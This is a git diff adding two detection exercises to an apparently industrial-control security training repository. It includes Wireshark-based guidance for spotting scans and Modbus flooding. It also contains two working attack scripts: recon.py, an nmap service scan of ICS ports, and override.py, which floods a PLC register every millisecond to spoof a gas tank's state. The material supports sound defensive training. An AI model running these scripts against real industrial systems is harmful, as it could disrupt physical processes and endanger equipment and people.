diff --git a/.gitignore b/.gitignore index ed40b3f..ff6a3ef 100644 --- a/.gitignore +++ b/.gitignore @@ -75,6 +75,7 @@ _autosave-* fp-info-cache *.lck *auto_saved_files* +*.pyc # Byte-compiled / optimized / DLL files __pycache__/ diff --git a/training/README.md b/training/README.md index 829ca59..657644d 100644 --- a/training/README.md +++ b/training/README.md @@ -14,4 +14,6 @@ This recommended sequence is designed to build your knowledge progressively, lay 1. [Flood & overwrite](flood_overwrite/README.md) 1. [Password attack](password_attack/README.md) 1. [OPC-UA](opcua/README.md) -1. [Man-in-the-Middle (MitM)](mitm/README.md) \ No newline at end of file +1. [Man-in-the-Middle (MitM)](mitm/README.md) +1. [Detect Basic](detect_basic/README.md) +1. [Detect Overwrite](detect_overwrite/README.md) \ No newline at end of file diff --git a/training/detect_basic/README.md b/training/detect_basic/README.md new file mode 100644 index 0000000..790dda8 --- /dev/null +++ b/training/detect_basic/README.md @@ -0,0 +1,28 @@ +# Detection Training - Basic +In this training, we focus on how to detect network scanning activities using PCAP (Packet Capture) data. +PCAP files capture the raw network traffic data and are valuable for the security operation center (SOC) or forensic analysis of network communications. + +Attackers use different types of network scanning techniques to map out the network and gather intelligence. +Common techniques include: +1. ***Ping Sweep***: + * Attackers send ICMP Echo Requests to multiple IP addresses to determine which hosts are online. +2. ***Port Scanning***: + * Tools like Nmap are used to scan for open ports on target systems. + Common scan types include: + * SYN scan (Half-Open Scan): Sends SYN packets to check if a port is open. + * TCP Connect Scan: Establishes a full TCP connection with the target port. + * UDP Scan: Tests for open UDP ports, commonly used on industrial protocols like Modbus (port 502). + * Service Detection: Queries services running on open ports to determine their versions (e.g., OPC UA on port 4840). +3. ***Application Layer Scanning***: + * Attackers scan for specific application protocols such as Modbus, DNP3, or OPC UA by probing for industrial control protocols that indicate system roles. + +Detecting and mitigating network scanning on industrial systems is a critical first step in preventing cyberattacks. +By capturing and analyzing network traffic through PCAP files, security teams can identify early signs of an attack and take appropriate action before an adversary gains deeper access to the system. + +Which ports do the attacker scan? +Which ports are open, and which are closed? + +
+ Solution + +
\ No newline at end of file diff --git a/training/detect_basic/recon.py b/training/detect_basic/recon.py new file mode 100644 index 0000000..69e8720 --- /dev/null +++ b/training/detect_basic/recon.py @@ -0,0 +1,64 @@ +import nmap +import sys +import logging + +# Configure logging to console (stdout) +logging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s', + level=logging.INFO, + handlers=[logging.StreamHandler()]) + +def scan_industrial_ports(ip): + # Create a PortScanner object + nm = nmap.PortScanner() + + # Define the ports to scan: HTTP (80), Modbus (502), OPC UA (4840) + ports_to_scan = '80,102, 502,4840, 20000, 44818' + + try: + # Log the start of the scan + logging.debug(f"Starting scan for IP: {ip} on ports 80, 102, 502, 4840, 20000, 44818") + + # Perform a version detection scan on the specified ports + logging.debug(f"Scanning {ip} for HTTP, S7, Modbus, OPC UA, DNP3, and Ethernet/IP ports...") + nm.scan(ip, ports_to_scan, arguments='-sV') + + # Check if any ports are open and print their details + if nm.all_hosts(): + for host in nm.all_hosts(): + host_info = f"Host: {host} ({nm[host].hostname()})\nState: {nm[host].state()}" + logging.debug(host_info) + logging.debug(host_info) + + for proto in nm[host].all_protocols(): + proto_info = f"\nProtocol: {proto}" + logging.debug(proto_info) + + ports = nm[host][proto].keys() + for port in sorted(ports): + port_info = nm[host][proto][port] + service_info = (f"Port: {port}\tState: {port_info['state']}\n" + f"Service: {port_info['name']}\tVersion: {port_info.get('version', 'Unknown')}") + logging.debug(service_info) + else: + msg = f"No information found for IP {ip}" + logging.warning(msg) + + except nmap.PortScannerError as e: + error_msg = f"Nmap error: {e}" + logging.debug(error_msg) + except Exception as e: + error_msg = f"An unexpected error occurred: {e}" + logging.debug(error_msg) + +if __name__ == "__main__": + if len(sys.argv) != 2: + logging.error("Usage: python3 recon.py ") + sys.exit(1) + + # Get the IP address from the command-line arguments + ip_address = sys.argv[1] + + # Run the scan + logging.info("Recon started") + scan_industrial_ports(ip_address) + logging.info("Recon finished") diff --git a/training/detect_basic/requirements.txt b/training/detect_basic/requirements.txt new file mode 100644 index 0000000..4e35a56 --- /dev/null +++ b/training/detect_basic/requirements.txt @@ -0,0 +1 @@ +python-nmap \ No newline at end of file diff --git a/training/detect_overwrite/README.md b/training/detect_overwrite/README.md new file mode 100644 index 0000000..0910db7 --- /dev/null +++ b/training/detect_overwrite/README.md @@ -0,0 +1,67 @@ +# Detection Training - Override + +One common attack is Modbus TCP register flooding, where an attacker sends a continuous stream of malicious Modbus commands to overwrite or spoof register values. +This can disrupt processes, cause equipment failure, or provide incorrect data to operators. +This training focuses on how to detect this type of attack by analyzing network traffic and monitoring system behavior. + +## Indicators of Modbus Flooding Attacks +Detecting Modbus flooding and register overwriting attacks requires understanding how normal Modbus traffic behaves and recognizing anomalies in the communication pattern. Key indicators include: + +1. ***High Frequency of Modbus Write Requests*** + + Modbus systems typically have a stable frequency of write operations. A sudden spike in write requests, particularly to the same registers, is a sign of flooding. Monitor for: + Unusual write frequencies: Multiple write commands to the same register in a short time span. + Repeated overwrites: The same register being modified continuously. + +2. ***Unexplained Process Values Changes*** + + When a Modbus register is being spoofed, the values stored in registers might change frequently without corresponding physical events. For example: + A temperature sensor reports fluctuating values despite stable environmental conditions. + Equipment parameters (e.g., pressure, motor speed) are altered without operator action. + +3. ***Unusual Source IPs or Unauthorized Devices*** + + Flooding may come from unauthorized IP addresses or devices not normally involved in the communication. Look for: + Write commands originating from unknown sources. + Devices sending Modbus traffic that do not typically perform write operations. + +4. ***Network Traffic Abnormalities*** + + Flooding often generates a high volume of packets, potentially leading to congestion or delays in legitimate traffic. Watch for: + * Unusually high Modbus traffic: A sharp increase in Modbus TCP packets on the network. + * Packet loss: Legitimate Modbus traffic may be delayed or dropped due to the attack. + +***Questions:*** +* What is happening with the physical process? +* What can you observe within the network capture? + +***!!! Execute the python script without looking into it !!!*** + +```sh +python3 override.py +``` + +
+ Solution + +* ***Modbus Filter:*** + + To filter only Modbus traffic, use the following filter in Wireshark: + + ```sh + tcp.port == 502 + ``` + +* ***Identifying Excessive Write Requests:*** + + Apply a filter for Modbus function codes responsible for writing registers: + ```sh + modbus.func_code == 6 || modbus.func_code == 16 + ``` + Look for a large number of write requests to the same register (e.g., modbus.reference_num indicates the register address). + +* ***IO Graphs:*** + + Use Wireshark's IO Graphs to visualize the traffic over time. A spike in the number of write requests is a strong indicator of flooding. + +
\ No newline at end of file diff --git a/training/detect_overwrite/override.py b/training/detect_overwrite/override.py new file mode 100644 index 0000000..062de4e --- /dev/null +++ b/training/detect_overwrite/override.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python3 +import time +from pymodbus.client import ModbusTcpClient +import sys +import logging + +# Configure logging to console (stdout) +logging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s', + level=logging.DEBUG, + handlers=[logging.StreamHandler()]) + +# Value of high pressure tank (HPT), which should be flooded +gst = 1 + + +def scan_industrial_ports(ip): + # Connect to ModbusTCP of the OpenPLC + client = ModbusTcpClient(host=ip,port=502) # Create client object + client.connect() # connect to device, reconnect automatically + + # While true loop for flooding + while True: + logging.debug("Setting GST state to fixed value " + str(gst)) + + client.write_registers(1124,gst) #(register, value, unit) + + time.sleep(0.001) + + client.close() # Disconnect device +print +if __name__ == "__main__": + if len(sys.argv) != 2: + logging.error("Usage: python3 override.py ") + sys.exit(1) + + # Get the IP address from the command-line arguments + ip_address = sys.argv[1] + + logging.debug("This script will flood the value of the gas storage tank (GST) of the OpenPLC") + logging.debug("Flodding IP: " + str(ip_address)) + + # Run the scan + logging.info("Attack started") + time.sleep(2) + scan_industrial_ports(ip_address) + logging.info("Attack finished") diff --git a/training/detect_overwrite/requirements.txt b/training/detect_overwrite/requirements.txt new file mode 100644 index 0000000..9641b55 --- /dev/null +++ b/training/detect_overwrite/requirements.txt @@ -0,0 +1 @@ +pymodbus \ No newline at end of file